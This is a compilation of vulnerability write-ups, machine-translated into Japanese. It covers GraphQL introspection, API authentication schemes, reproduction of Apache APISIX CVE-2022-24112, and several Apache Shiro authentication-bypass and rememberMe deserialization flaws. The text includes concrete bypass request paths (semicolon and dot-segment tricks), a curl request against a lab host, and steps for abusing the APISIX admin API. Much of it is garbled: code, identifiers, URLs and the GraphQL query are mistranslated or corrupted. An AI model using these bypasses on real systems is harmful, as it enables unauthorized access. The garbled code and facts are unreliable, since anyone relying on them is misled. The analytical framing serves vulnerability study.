{'query':' \ n query introspectionquery {\ r \ n __schema {\ r \ n queryType {name} \ r \ n mutationType {name} \ r \ n subscriptionType {name} \ r \ n at {\ r \ n . Fulltype } \ r \ n Directives {\ r \ n name \ r \ n説明\ r \ n locations \ r \ n args {\ r \ n . inputValue \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ rte __type {\ r \ n dind \ r \ n name \ r \ n説明\ r \ n fields(condeprecated: true){\ r \ n name \ r \ n説明\ r \ n arg } \ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ r \ n inputfields {\ r \ n . inputValue \ r \ n} \ r \ nインターフェイス{\ r \ n . tyeRef \ r \ n} \ r \ r \ n numvalues(ainteeprecated3360) {\ r \ n name \ r \ n説明\ r \ n isDeprecated \ r \ n deprecationReason \ r \ n} \ n possibletypes {\ r \ n . Typeref \ r \ n} \ r \ n} \ r \ r \ r \ r n fartvalue on名前\ r \ n説明\ r \ n Type {. typeref} \ r \ n defaultValue \ r \ n} \ r \ nフラグメントTyperef on __type {\ r \ n decd \ r \ n name \ r \ n oftype {\ r \ n dince Kind \ r \ n name \ r \ n ofType {\ r \ n decny \ r \ n name \ r \ n oftype {\ r \ n dind \ r \ n name \ r \ n oftype {\ r \ n dince \ r \ n name \ r \ r \ r \ r \ r \ r \ r \ r \ r \ N } \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ n} \ r \ r \ n} } \ r \ n} \ r \ n} \ r \ n} \ r \ n '、'変数':Null} 1049983-20230129135925462-2091935808.png

これを使用して、インターフェイスドキュメントを生成できます。

https://github.com/2fd/graphdoc

nodejs test.jsonが必要なのは、内省的クエリによって返されるJSON形式のデータです

NPMインストール-G @2FD/GraphDoc

graphdoc -s ./test.json -o ./doc/schema

次に、生成された/doc/index.html 1049983-20230129135926397-616747756.pngを開きます

彼のフォーマット1049983-20230129135927015-1949031907.png 1049983-20230129135927700-609525478.pngに従ってデータパケットを構築するだけです

graphql内省的クエリ

ブラックボックステストでは、APIエンドポイントが完全には見つからないことです。対応するアプリケーションまたは他の側面からそれらを探す必要があります。

(1)Web

JS HTMLなどの静的リソースには、いくつかのAPIエンドポイントを持つことができます

バーププラグインJS Linkfinderは受動的に収集できます

(2)アプリおよびその他のクライアントアプリケーション

(3)github

(4)ルールのファズによると

その他

認証方法

APIが要求されるたびにユーザーのユーザー名とパスワードを提供する

通常、HTTPパケットに認証ヘッダーがあります

Authorization: Basic Base64(username:password)

これは安全性が比較的低く、現在はめったに使用されていません

基本的な認証

JWT(JSON Webトークン)は、トークンベースの認証と認証メカニズムです

3つの部分に分かれています

Header:は、JWTのメタデータを説明し、署名を生成するためのアルゴリズムとトークンのタイプを定義します。 Payload:は、継続する必要があるデータを保存するために使用されます。サーバーは、JWTが計算方法暗号化アルゴリズム(base64(header) + ')、1049983-20230129135928401-1047672463.pngの計算方法の改ざんを防ぐために、ヘッダーで指定された署名アルゴリズム(デフォルトはhmac sha256)を使用します。

オンラインテストhttps://jwt.io/1049983-20230129135929184-1826635181.png

通常のトークンには、バックエンドストレージとユーザーの間に対応する関係が必要ですが、JWTは対応する関係自体を運びます

jwt

Apikeyやランダムに生成された他の形式のトークン

その他のカスタムヘッダー、Cookie

一般的な安全性の問題とテスト方法

APIゲートウェイは、クライアントとマイクロサービスの間に構築されたサービスです。許可確認、監視、キャッシュ、リクエストルーティングなど、APIゲートウェイのいくつかの非ビジネス機能ロジックを処理できます。

APIゲートウェイは、マイクロサービスシステム全体のファサードのようなもので、システムの唯一の入り口です。これにより、クライアントは最初にAPIゲートウェイにリクエストを送信し、次にAPIゲートウェイが要求された識別情報に基づいてマイクロサービスインスタンスにリクエストを転送します。1049983-20230129135929803-1056153117.png

APIゲートウェイ

Apache Apisixは、Apache Software Foundationの下にあるCloud-Native API Gatewayです。ダイナミック、リアルタイム、および高性能の機能を組み合わせて、ロードバランス、ダイナミックアップストリーム、グレースケールリリース(カナリアリリース)、サービスサーキットブレーカー、アイデンティティ認証、観測性などの豊富な交通管理機能を提供します。同時に、K8Sイングレスコントローラーとしてもサポートされています。 Apisixは以前にコマンド実行の脆弱性CVE-2022-24112を公開しました(現在の最新バージョンは3.0)

衝撃の範囲:

Apache Apisix 1.3〜2.12.1の間のすべてのバージョン(2.12.1を除く)

Apache Apisix 2.10.0〜2.10.4 LTS間のすべてのバージョン(2.10.4を除く)は脆弱性環境を構築します

git clone https://github.com/twseptian/cve-2022-24112 ## get dockerfileを入手してください

CD CVE-2022-24112/apisix-docker/example/##対応するディレクトリを入力します

docker -compose -p docker -apisix up -d ## dockerに基づいてすべてのapisixサービス利用条件を開始

Batch-Requestsプラグインはデフォルトで有効になります。

ユーザーは、Apache Apisixデフォルトの構成を使用します(管理者APIを有効にし、デフォルトの管理キーを使用し、追加の管理ポートが割り当てられていません)。攻撃者は、Batch-Requestsプラグインを介して管理者APIを呼び出すことができます。アイデアを攻撃します

1.バッチリクエストプラグインの脆弱性を使用して、バイパス要求ヘッダー検出をバイパスします。

2。要求ヘッダーを偽造して、管理者APIにルートを登録します。

3.ルートを登録すると、パラメーターFilter_FUNCがLUAコードを渡し、リモートコード実行の脆弱性Expを引き起こします。

https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py

0x00脆弱性の説明

1.5.2より前のApache Shiroにはセキュリティの脆弱性があります。攻撃者は、認証をバイパスするために特別に作成されたリクエストを使用できます。 Shiro Frameworkは、Anon、AuthC、その他のインターセプターなどのインターセプター機能を通じてユーザーアクセス権を制御します。 Anonは匿名のインターセプターであり、アクセスにログインする必要はありません。 AUTHCはログインインターセプターであり、アクセスするためにログインする必要があります。 ShiroのURLパス式はANT形式です。パスワイルドカード *は、ゼロ以上の文字列を一致させることを意味します。/* hello /helloですが、hello /hello /はできません *ワイルドカードはパスに一致できないためです。 /helloインターフェイスにAuthCインターセプターセットがあると仮定すると、アクセス /helloは許可判断を下しますが、 /hello /にアクセスすると、URLと正しく一致することができず、直接リリースしてスプリングインターセプターを入力します。 Form /helloおよび /hello /hello /hello /hello /hello /hello /hello /hello /hello /hello /hello /hello /hello /hello /hello /helloでアクセスしたリソースは、許可バイパスを達成します。

0x01脆弱性の影響

Apache Shiro 1.5.2

0x02 shiro interceptor

Shiro Frameworkは、インターセプター関数を使用して、ユーザーアクセス権を制御およびインターセプトします。 Shiroの一般的なインターセプターには、Anon、AuthC、その他のインターセプターが含まれます。 1.アノンは匿名のインターセプターであり、ログインせずにアクセスできます。一般に、静的リソースまたはモバイルインターフェイスに使用されます。

2.AUTHCは、アクセスするためにログイン認証を必要とするリソースです。ユーザーは、一致するURL構成をshiro.iniに記述することができます。これにより、一致するURLがインターセプトされ、応答インターセプターが実行されます。これにより、URLのアクセス制御が実現し、URLパス式は通常ANT形式です。次の構成として、 /index.htmlホームページにアクセスする場合、shiroはログイン判断を下さず、アノンインターセプターはログインせずにアクセスできます。 [urls]

/index.html=anon

/user/**=authc

ShiroのURLパス式はアリの形式であり、パスワイルドカードがサポートしていますか?***。文字を一致させます

*:ゼロ以上の文字列を一致させます

**:パスのゼロ以上のパスを一致させます

ここで、 *はゼロ以上の文字列を一致させることを意味します。/*は/* helloと一致することができますが、 /hello /ではありません *ワイルドカードはパスに一致できないためです。 /helloインターフェイスにAuthCインターセプターがあると仮定すると、アクセス /Helloは許可を得るために判断されます。要求されたuriが /hello /である場合、 /*urlパス式は正しく一致して解放されません。次に、スプリング(サーブレット)インターセプターを入力すると、 /helloフォームと /hello /formのURLでアクセスされるリソースが同じです。

0x03環境構築

ダウンロードデモコード:https://github.com/lenve/javaboy-code-samples/master/shiro/shiro-basicImport Ideashiroバージョン1.4.2 Groupidorg.apache.shiro/groupid artifactidshiro-spring/artifactid version1.4.2/version/dependencymodify shiroconfig configurationファイルとauthcインターセプター@bean shirofiltorybean shirofilterfactorybean(){shirofilterfactorybean bean() . //map.put('/d '、' authc '); map.put( '/hello/*'、 'authc'); bean.setFilterChainDefinitionMap(Map);豆を返します。 }ルーティングコントローラーメソッド@getMapping( '/hello/{currentPage}')public string hello( @pathvariable integer currentPage){return 'hello';}アイデアをコンパイルすると、戦争パッケージを取得できます。 Here you can quickly build the vulnerability environment through docker: docker pull vulfocus/shiro-cve_2020_1957 1049983-20201129040308848-1645994369.pngdocker images 1049983-20201129040310600-1437781155.pngdocker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e vul_ip=192.168.1.14 29136b1d3c61 1049983-20201129040311058-1699321640.png-V/var/run/docker.sock:/var/run/docker.sockはドッカーインタラクティブ接続です。 -e docker_urlはDocker接続法です。デフォルトでは、unix: //var/run/docker.sock、またはtcp: //xxx.xxx.xxx.xxx:2375(ポート2375を開く必要があります)を介して接続できます。 -v /vulfocus-api/db.sqlite3:db.sqlite3マップデータベースはローカルファイルです。 -e vul_ip=xxx.xxx.xxx.xxxはDockerサーバーIPであり、127.0.0.1.1.http://192.168.1.1.14:8080/ログイン1049983-20201129040312412-1520455583.png

0x04脆弱性の再発

1。 AuthCインターセプターによって傍受され、ログインのためにログインインターフェイスにジャンプすることがわかります。1049983-20201129040312899-107128082.pngアクセス/hello/1/、authcインターセプターを正常にバイパスし、リソースを取得しました。

1049983-20201129040313397-685140363.png2、Shiro 1.4.2バージョンバイパス脆弱性分析脆弱性は、PathMatchingFilterChainResolverのゲットチェーン関数の下に配置できます。この関数は、URLパスマッチングで構成されたURLパス式に基づいて入力URLと一致し、インターセプターが一致するかどうかを判断します。正常に一致すると、応答インターセプター実行チェーンが返され、Shirofitherが許可操作を実行できます。 URLパス式と入力URLの一致は、主にPathmathches関数を介して一致します。1enxkmd2er37651.pngPathMatches関数は、最終的にaNT形式でDomatchのPathpatternとRequesturiを呼び出して、shiro.util.antpathmatcherクラスのdomatchのpathpatternとrequesturiに一致します。 //pathmatches:135、pathmatchingfilterchainresolver(org.apache.shiro.web.filter.mgt)

保護されたブールパスマッチ(String Pattern、String Path){

patternMatcher pathMatcher=this.getPathMatcher();

pathmatcher.matches(パターン、パス)を返す;

}

domatch:109、antpathmatcher(org.apache.shiro.util)、shiroのアリ形式のpathpatternのワイルドカードが一致するパスをサポートしない場合、/hello/*は正常に一致することはできません。これにより、Shiroインターセプターをうまくバイパスし、スプリングインターセプターに入りました。 /hello/1/and//hello/1は同じリソースを取得できます。1049983-20201129040314275-1093796335.jpg3、shiro≤1.5.1バージョンバージョン1.5.1のバージョンバイパス、/hello/はログイン1049983-20201129040314835-1924922284.pngバイパスペイロード、/fdsf;1049983-20201129040315283-20701281.pngまたはその他のペイロード、xxxx/./hello/1、suctionfully bypassed(shiro 1.5.1 and its以前のバージョン) /xxxx/./hello/1、最終リクエスト/こんにちは、バックグラウンドリクエストに正常にアクセスされました。 Shiro≤1.5.1の脆弱性分析の問題は、Getchain関数に配置して、Requesturiを取得することもできます。下の図に示すように、this.getPathWithinApplication(要求)によって取得されたrequesturiは/fdsfではなく、/fdsfではありません。wpemiyal5b17655.png webutils(org.apache.shiro.web.util)のgetRequesturi関数は、requesturiを取得するために呼び出されます。 public static string getRequesturi(httpservletrequestリクエスト){

string uri=(string)request.getattribute( 'javax.servlet.include.request_uri');

if(uri==null){

uri=request.getRequesturi();

}

return remormize(decodeandcleanuristring(request、uri));

}

DeCodeandCleanuristring関数は、URIをクリーニングするためにRequesturi関数で最終的に呼び出されます。

private static string decodeandcleanuristring(httpservletrequest request、string uri){

uri=decoderequestString(request、uri);

int semicolonindex=uri.indexof(59); //番号の場所を取得します

return semicolonindex!=-1? uri.substring(0、semicolonindex): uri;

}

ある場合; URIの番号、すべての文字が削除されます。 /fdsf;/./hello/1/は最終的に/fdsfになりました。t22s543k1xb7656.png5。脆弱性の概要WebコンテナのShiroのインターセプターは、最初にSpring(サーブレット)で実行されます。 2つのインターセプター間のURIパターンマッチングの違いは、シロインターセプターをバイパスすることにつながります。シロはそれを2回修理しました。 Shiro 1.4.2の脆弱性は、Requesturiの後に /番号を削除するためのURLパスに一致する脆弱性でした。メソッドを追加/番号を追加するための簡単な修正と見なされます。次に、1.5.2で、Requesturiの自律的スプライシングを使用した方法が修正されました。 /fdsf; /./hello/1/など。 requesturiを使用してメソッドをバイパスします。

0x05修理計画

1。シロ1.5.2にバージョン1.5.2以上に追加されたフィルタールールをアップグレードします。 dottestgetpathwithinapplicationfromrequest( ''、 '/servlet'、 '/foobar'、 '/servlet/foobar') '/foobar'、 '/servlet/foobar')dottestgetpathwithinapplicationfromrequest( '/'、 'servlet'、 '/foobar'、 '/servlet/foobar') dottestgetpathwithinapplicationfromrequest( '//'、 '//servlet'、 '/servlet/foobar')dottestgetpathwithinapplicationfromrequest( '/context-path'、 '/servlet'、 '/foobar'、 '/servet/foobar')DottestetheTheThiNInplicationFromequest( 「//サーブレット」、 '//foobar'、 '/servlet/foobar')dottestgetpathwithinapplicationfromrequest( '//context-path'、 '/servlet'、 '/asdf'、 '//servlet/other'、 '/servet/other')dottesttetpathin fromrequest ';/./servlet/other'、 '/asdf')dottestgetpathwithinapplicationfromrequest( '/context%2525path'、 '/servlet'、 '/foobar'、 '/servlet/foobar')dottestgetpathwithinapplicationfromrequest( '/c%6fnext%20path'、fobar '/servlet/foobar')dottestgetpathwithinapplicationfromrequest( '/context path'、 '/servlet'、 '/foobar'、 '/servlet/foobar')dottestgetpathwithinapplicationfromrequest( ''、 ''、null、 '/' null、 '/index.jsp')}

2。ダイナミックルーティングインターセプターのURLパス式として *ワイルドカードを使用しないようにしてください。

0x06参照

https://www.zhihuifly.com/t/topic/2822 https://paper.sebug.org/1196/https://xz.aliyun.com/t/8281

0x00脆弱性の説明

Apache Shiroは、認証、承認、パスワード、セッション管理を実行する強力で使いやすいJavaセキュリティフレームワークです。 Apache Shiro Authenticationバイパス脆弱性CVE-2020-11989の以前の修正パッチに欠陥がありました。 1.5.3以前には、ShiroがURLを処理する際にまだ春と違いがあるため、ID検証バイパスの脆弱性がまだあります。認証要求の処理がエラーにより、リモート攻撃者は、特別に作成されたHTTPリクエストを送信し、認証プロセスをバイパスし、アプリケーションへの不正アクセスを取得できます。

0x01脆弱性の影響

apache shiro 1.6.0

0x02環境構築

1。プロジェクトをローカルhttps://github.com/l3yx/springboot-shiro2にダウンロードします。 POM.xmlの1.5.2を1.5.3で置き換え、SRC/Main/Java/org/syclover/srpingbootshirologingincontrollerで/admin/pageで/admin/{name} 1049983-20201129040427401-1379782706.png 1049983-20201129040427930-1551743954.png3でバックグラウンド検証を交換します。 Idea Editorを再構築して実行します。コンパイルされた戦争パッケージをTomcatの下のWebAppsディレクトリに入れて実行します。 https://github.com/backlion/demo/blob/master/srpingboot-shiro-0.1-snapshot.war

0x03コード説明

1。 shiroconfig.java(pringboot-shiro-master \ src \ main \ java \ org \ syclover \ srpingbootshiro \ shiroconfig.java)許可設定。 /admin/*リソースを要求するとき、302はアイデンティティ認証のためにログインページにジャンプします名前の名前(アイデンティティ認証のトリガー)1049983-20201129040428999-1101944912.png

0x04脆弱性の再発

1。リクエストルートでリソース名が指定されていない場合、認証はトリガーされず、リソースが返されません。22wkfv0udwx7613.png33http://192.168.1.9:8080/srpingboot-shiro-0.0.1-snapshot/admin 1049983-20201129040429828-1775851797.png2。リクエストルートでリソース名を指定する場合、302は認証ページにジャンプします:http://192.168.1.933608080/srpingboot-shiro-0.0.1-snapshot/login 1049983-20201129040430280-1096894926.png mfda3rzczsh7616.png3。特定のPOCリクエストを作成すると、指定されたリソースがリクエストされる場合、認証はトリガーされず、許可はバイパスされます(%3Bでバイパス)3http://192.168.1.1.9:80800/SRPINGBOOT-SHIRO-0.0.1-SNAPSHOT/ADMIN/

0x05脆弱性分析

問題はorg.apache.shiro.web.util.webutilsにあることがわかります。ここにブレークポイントを置いてからデバッグしてください。1049983-20201129040431878-1254629939.pngが更新され、getServletpathとgetpathinfoを使用してURLを取得しました。ただし、実際の脆弱性ポイントはここにありません。1049983-20201129040432474-1895311208.pngスプライシング後のURLが大丈夫であることがわかります。1049983-20201129040433327-937398851.pngのセミコロン処理を削除した後、 /admin /*のみが保持されていることがわかります。テスト用のコントローラーへのルートを追加/管理することができます@getMapping( '/admin*')

public string admin2(){

返品「ログインしてください、admin」;

} http://192.168.1.933608080/srpingboot-shiro-0.0.1-snapshot/admin/*

1049983-20201129040433923-1159712392.png 1049983-20201129040434507-452562273.pngアクセスを確認する許可はありません。もちろん、後でパラメーターを追加すると、アクセス許可が必要です。

フォローアップremovesemicolon

1049983-20201129040435006-1073404813.png

同様に、コンテンツの後。を含む。

Springがそれをどのように処理するか見てみましょう

1049983-20201129040435555-539162384.png

Springには問題がありません。

URLを処理する方法を見てみましょう

`org.springframework.web.util.urlpathhelper#decodeandcleanuristring 1049983-20201129040436147-1903544345.png

removesememicoloncontent#remove;そして後の部分

decoderequestString#urldecodeデコード

getAnitizedPath#を置き換える//shiroは反対の1049983-20201129040436695-881597646.pngであるが、urldecodeが最初に実行され、それが削除され、脆弱性デバッグの場所:shiro-web-1.5.3.jar //org.apache.shiro.util.webutils.java

//行111

public static string getpathwithinapplication(httpservletrequestリクエスト){

return remormize(removesemicolon(getservletpath(request) + getpathinfo(request)));

} pring-web-5.2.5.Release.jar //org.springframework.web.util.urlpathhelper.java

//行459

private string decodeandcleanuristring(httpservletrequest request、string uri){

uri=removesemicoloncontent(uri);

uri=decoderequestString(request、uri);

uri=getSanitizedPath(uri);

uriを返します。

}

0x06脆弱性修正

現在、公式の脆弱性の修正バージョンがリリースされ、更新されたApache Shiro=1.6.0

0x07参照

https://github.com/lyy289065406/cve-2020-139333https://www.cnblogs.com/ph4nt0mer/p/135359999.htmlhttps://xz.aliyun.com/t/8223

0x00脆弱性簡単な説明

1.5.3より前のApache Shiroの

0x01脆弱性の影響

Spring Dynamic Controllerを使用してApache Shiroを使用すると、慎重にコンパイルされた要求が認証のバイパスにつながる可能性があります。直接アクセス/shiro/admin/pageの場合、302ジャンプを返してログインします。アクセス/;/shiro/admin/ページでは、1.5.3より前に/管理ルート

0x02環境構築

Apache ShiroでShiroの許可を直接バイパスしてアクセスできます。 Spring Frameworkでは、Shiro認証のみが使用されます。 1.プロジェクトをローカルhttps://github.com/l3yx/springboot-shiro2にダウンロードします。 Idea Editorを介してWarパッケージにコンパイルし、Tomcatの下のWebAppsディレクトリに入れて実行します。戦争パッケージはここにまとめられています:https://github.com/backlion/demo/blob/master/shiro.war

0x03脆弱性の再発

1。許可構成は次のとおりです。

shirofilterfactorybean shirofilterfactorybean(){

shirofilterfactorybean bean=new shirofilterfactorybean();

bean.setsecuritymanager(securitymanager());

bean.setloginurl( '/login');

bean.setsuccessurl( '/index');

bean.setunauthorizedurl( '/unauthorizedurl');

mapstring、string map=new linkedhashmap();

map.put( '/dologin'、 'anon');

map.put( '/admin/*'、 'authc');

bean.setFilterChainDefinitionMap(Map);

豆を返します。

}

---

@getMapping( '/admin/page')

public string admin(){

「管理者ページ」を返します。

} 2.Mavenパッケージプロジェクトはshiro.warであり、Tomcatに展開されています。この脆弱性はうまく活用されています。アプリケーションがルートディレクトリにルートディレクトリを展開できない2つの条件があります。つまり、コンテキストパスが必要です、server.servlet.context-path=/shiro。ルートディレクトリの場合、コンテキストパスは空で、URLはCVE-2020-1957のパッチによってフォーマットされます。 Shiroバージョンが1.5.2未満の場合、この条件は必要ないことは注目に値します。 Spring Controller 3に他の許可確認コードはありません3。直接アクセス/Shiro/Admin/ページの場合、302ジャンプを返し、ログイン1049983-20201129040357293-1694396647.png4が必要になります。ただし、/;/shiro/admin/ページにアクセスした場合、Shiroの許可検証を直接バイパスして、/adminルート1049983-20201129040357781-2061064872.png

0x04脆弱性分析

の情報にアクセスできます。Shiroの許可確認は、URLマッチを審査することでURLマッチを審査することで行われます。バイパス。 ShiroでのURLの取得とマッチングは、org.apache.shiro.web.filter.mgt.pathmatchingfilterchainresolver#getChainで取得されます。 getpathwithinapplication関数を介して得られたパスは/1049983-20201129040358346-1396394566.jpg関数org.apache.shiro.web.util.webutilsの処理ロジックに従います#getpathwithinApplication 1049983-20201129040358965-2085604693.jpg org.apache.shiro.web.util.webutils#webtils#web.util.webutilsを見ることができます。1049983-20201129040358965-2085604693.jpg org.apache.shiro.web.util.webutils#getRequesturi gets/1049983-20201129040359608-834110665.jpgここでは、getContextPath()getSpathinfo()getPathInfo()をget //渡された後、decodeandcleanuristringは /、org.apache.shiro.web.util.webutils#decodeandcleanuristring 1049983-20201129040400208-1547024258.jpgになります。リクエストリクエストはspringに入ります。スプリング処理URL関数は、org.springframework.web.util.urlpathhelper#getPathWithInservletMapping 1049983-20201129040400772-1364188888.jpg 1049983-20201129040401248-1065967938.png GetPathWithInApplicationプロセスの下で、コンテキストパスとルートを正しく取得できます。最後に、getPathWithInServletMapping関数がフォーマットされた後、最終パスは /admin /ページであるため、正常にページにアクセスできます。1049983-20201129040401715-1588254651.pngしたがって、要約すると、URLがTomcat、Tomcat Judges/; Shiro/Admin/Pageに入ると、Shiroアプリケーションの下の/管理者/ページルートであり、Shiroアプリケーションの下の/管理/ページルートです。シロに入ると、それは /と見なされます。 Springに入ると、テストアプリケーションの下で /管理/ページルートとして正しく処理され、最終的にはShiroの許可バイパスにつながります。

0x05脆弱性修正

最新バージョンにアップグレードされた、オフィシャルは新しいバージョンの脆弱性を修正しました

0x06参照

https://L33333333333333333333333333333330/30/30/30/20%90%90%90%87%87%E6%BC%8F%E6%B4%

https://xz.aliyun.com/t/8223

0x00脆弱性の詳細

Shiroがパスを制御している場合、着信URLエンコードをデコードできなかったため、攻撃者はフィルターをバイパスし、フィルタリングされたパスにアクセスしました。

0x01脆弱性の影響

SHRIO 1.3.2

0x02環境構築

このバージョンにはShiro-Spring-Boot-Starterがまだないため、https://github.com/godzeo/shiro_1.2.4_sample/archive/archive/archaster.zip。次に、サンプル/web/pom.xmlファイルでJSTLのバージョンを1.2に指定する必要があります。

1049983-20201129040541867-453756220.png Idea Editorを介してWarパッケージにコンパイルし、TomcatのWebAppsディレクトリに入れて実行します。コンパイルされた戦争パッケージ:https://github.com/backlion/demo/blob/master/samples-web-1.2.4.war 1049983-20201129040542456-1710886761.png

0x03脆弱性の再発

したがって、アカウントパスがフィルタリングされたパスに属していると判断できます。現時点では、burpを使用して切り捨ててから、認証許可をバイパスするパスにアクセスする前に、ディレクトリ名を追加/arbitraryディレクトリ名を追加します。 1.最初に、バックエンドホームページに直接アクセスしてから、直接ジャンプ302 1049983-20201129040542944-1430062652.png

2.アクセスパスの前にディレクトリ名を追加/arbitraryディレクトリ名を追加すると、高すぎる1049983-20201129040543595-928214420.png3にアクセスできます。ここでは、バックグラウンドのホームページソースコードと、バイパス後にアクセスしたページのコンテンツを表示できます。1049983-20201129040544190-885911265.png

0x04脆弱性分析

この脆弱性に関しては、オンラインで公開されている情報はほとんどありません。見つけることができる唯一の有用なものは、GithubのコミットレコードとCVEの説明情報です。

githubコミット情報:https://github.com/apache/shiro/commit/b15ab927709ca18ea4a02538be01919191919191919191919191919191919CVE.MITRE.ORG/CGI-BIN/CVENAME.CGI? webutils.javaのgetContextPathメソッドにあります。rc3w2ghsmfq7581.png

CVEは次のように説明されています。

1.3.2以前のApache Shiroは、攻撃者が意図したサーブレットフィルターをバイパスし、非ルートサーブレットコンテキストパスの使用を活用することによりアクセスできるようにします。

このCVEの説明とコミット情報に基づいて、非ルートコンテキストパスが発生したときにコンテキストパスを取得するときに脆弱性が引き起こされることがわかりますが、詳細情報はまだ不明です。

ContextPathに関連しているため、サンプルプロジェクトを展開するときは、ContextPathの下でそれらを展開する必要があり、ルートを使用できません。最初に、GetContextPath関数の入り口に247行にブレークポイントを設定し、アクセスするためにログインが必要な通常のリクエストを送信し、近くのコードの処理ロジックを調べます。

Curl -V 'http://192.168.1.9:8080/Samples-WEB-1.2.4/Account/Index.jsp' 1049983-20201129040545546-1086001728.png分解後、これがコンテキストパスであり、特別な動作がないことがわかります。私たちは返品に従い、フォローダウンし続けます。 ContextPathがわからない場合は、最初に自分でGoogleで検索することをお勧めします。1oy1xxieayb7583.png

関数org.apache.shiro.web.util.webutils#getPathWithInApplicationに従ってください。i4ofrhetplo7584.png

私は関数org.apache.shiro.web.filter.mgt.pathmatchingfilterchainresolver#getChainに従い続けました。 Requesturiが実際に取得されたことがわかります。ここで少しのステップでそれに従ってください。 103行近くのループの場合、一致するプロセスのためにrequesturiを取得するために使用され、一致する状況で対応する操作を実行することを見つけることは難しくありません。

ここで要求するのは、/account/**モードと一致するaccount/index.jspです。構成ファイル(shiro.ini)では、 /account /**ディレクトリにログイン後にユーザーがアクセスする必要があります。ここでの操作は、現在のユーザーがログインしているかどうか、または許可を得ているかどうかを確認することです。aq13w2aonp17585.png

ここでは、F9が直接リリースされ、302が実際にログインページにリダイレクトされていることがわかります。このようにして、アイデアは明確です。問題はContextPathです。これはRequesturiを生成するために使用され、Requesturiはこのリクエストに認証が必要かどうかを決定します。したがって、変形したコンテキストパスを構築して変形したrequesturiを生成するだけで、Apacheshiroの認証メカニズムをバイパスできます。

では、どのように構築する必要がありますか?コミットパッチコードによると、デコード操作と正規化操作が実行されていることがわかります。それは非通常の経路によって引き起こされなければなりません。間違ったコンテキストパスを取得するには、/x/./のようなパスを構築するだけであると推測されます。

再びそれを分解した後、ContextPathの価値が/x/./sample_web_warになっていることがわかります。計算されたrequesturiが何であるかを確認するには、それをフォローダウンしますか?正規化とデコード後、requesturiの値は/sample_web_war/account/index.jspです。iqci134b4537586.png

私が見たちょうど私が見た一致するパートに続き続けてください。表示されるrequesturiが /account /**モードと正常に一致しなくなることを確認するのは難しくありません。また、ログインがログインしているかどうかを確認する段階には入りません。このリクエストをリリースして、正常であるかどうかを確認します。

curl - path-as-is -v 'http://192.168.1.9:8080/x /.//samplys-web-1.2.4/account/index.jsp'

1049983-20201129040549252-1127241613.pngが表示される前にログインする必要があるページコンテンツを正常に返しました。これは主に、ContextPathとRequesturiの一貫性のない処理によるものです。

0x05参照

https://blog.csdn.net/qq_41832837/article/details/109064636#%E8%BF%9C%E7%A8%8B%E5%A5%89%E5%8 5%A8%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2016-6802%EF%BC%89

http://ll29.cn/apache%20shiro/apache%20Shiro%E8%BF%9C%E7%A8%8B%E5%A %89%E5%85% A8%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E [CVE-2016-6802] .HTML

https://Lightless.me/archives/apache-shiro-analysis.html

https://github.com/godzeo/shiro_1.2.4_sample

0x00脆弱性の説明

Apache Shiroは、認証、承認、暗号化、およびセッション管理を提供するオープンソースセキュリティフレームワークです。 Shiro Frameworkは直感的で使いやすいと同時に、堅牢なセキュリティを提供します。 Apache Shiro 1.2.4および以前のバージョンでは、暗号化されたユーザー情報がシリアル化され、Remember-Meという名前のCookieに保存されました。攻撃者は、Shiroのデフォルトキーを使用して、ユーザーCookieを偽造し、Java Deserializationの脆弱性をトリガーし、ターゲットマシンで任意のコマンドを実行できます。 Shiroのバージョンに関係なく、RemembermeのAES暗号化キーが漏れている限り、それはDeserializationの脆弱性を引き起こします。

0x01影響バージョン

Apache Shiro=1.2.4

0x02脆弱性原理

Apache Shiro Frameworkは、私(Rememberme)を覚えている機能を提供します。ブラウザが閉じている場合でも、次回開いたときに自分が誰であるかを覚えておくことができます。次回アクセスしたときにアクセスするために再度ログインする必要はありません。ユーザーが正常にログインした後、暗号化され、エンコードされたCookieが生成されます。 Apache Shiro 1.2.4および以前のバージョンでは、Apache ShiroはデフォルトでCookierMembermemanagerを使用しています。 Cookieの処理プロセスは、Rememberme base64デコードのCookie値を取得します - AES復号化- 脱介入。ただし、AESキーはハードコーディングされているため、攻撃者は悪意のあるデータを構築し、サーバーでCookie値を受信するときに敏lceのRCEの脆弱性を引き起こし、次の手順に従って解析および処理します。

1。RembermeCookieの値を検索します

2。ベース64デコード

3.AESを使用して復号化します(暗号化キーのハードコード)

4。脱介入操作を実行する(フィルタリングされていない)

ただし、AES暗号化キーキーはコードにハードコーディングされています。つまり、誰もがソースコードを介してAES暗号化キーを取得できます。したがって、攻撃者は悪意のあるオブジェクトを構築し、それをシリアル化し、AESとBase64エンコードを暗号化し、Cookieの記憶界のフィールドとして送信します。 Shiro Decryptsはそれを覚えて脱出します。脱派化を呼び出すときにフィルタリングは実行されず、リモートコード実行の脆弱性がトリガーされます。

0x03脆弱性原因

一般的な意味は、Shiroがログイン位置でRemember Me機能を提供して、ユーザーのログイン資格情報を記録することです。その後、ShiroはCookiereMembermemanagerクラスを使用して、ユーザーのログイン資格情報で一連の処理を実行します。

Javaシリアル化を使用--- AES暗号化にキーを使用---ベース64暗号化---暗号化された私のコンテンツを取得します

同時に、ユーザーの身元を識別するとき、私の覚えているフィールドは復号化する必要があり、復号化の順序は次のとおりです。

暗号化されたコンテンツ--- Base64復号化---キーを使用してAES復号化を覚えておいてください--- Java Deserialization

問題は、AES暗号化されたキーキーがコードにハードコーディングされていることです。つまり、攻撃者がAES暗号化されたキーをソースコードで見つけられる限り、悪意のあるオブジェクトを構築し、シリアル化し、AESを暗号化し、base64エンコードしてから、クッキーの覚えているフィールドとして送信できます。 ShiroはRemembermeを復号化して脱出します。

0x04脆弱性の悪用条件

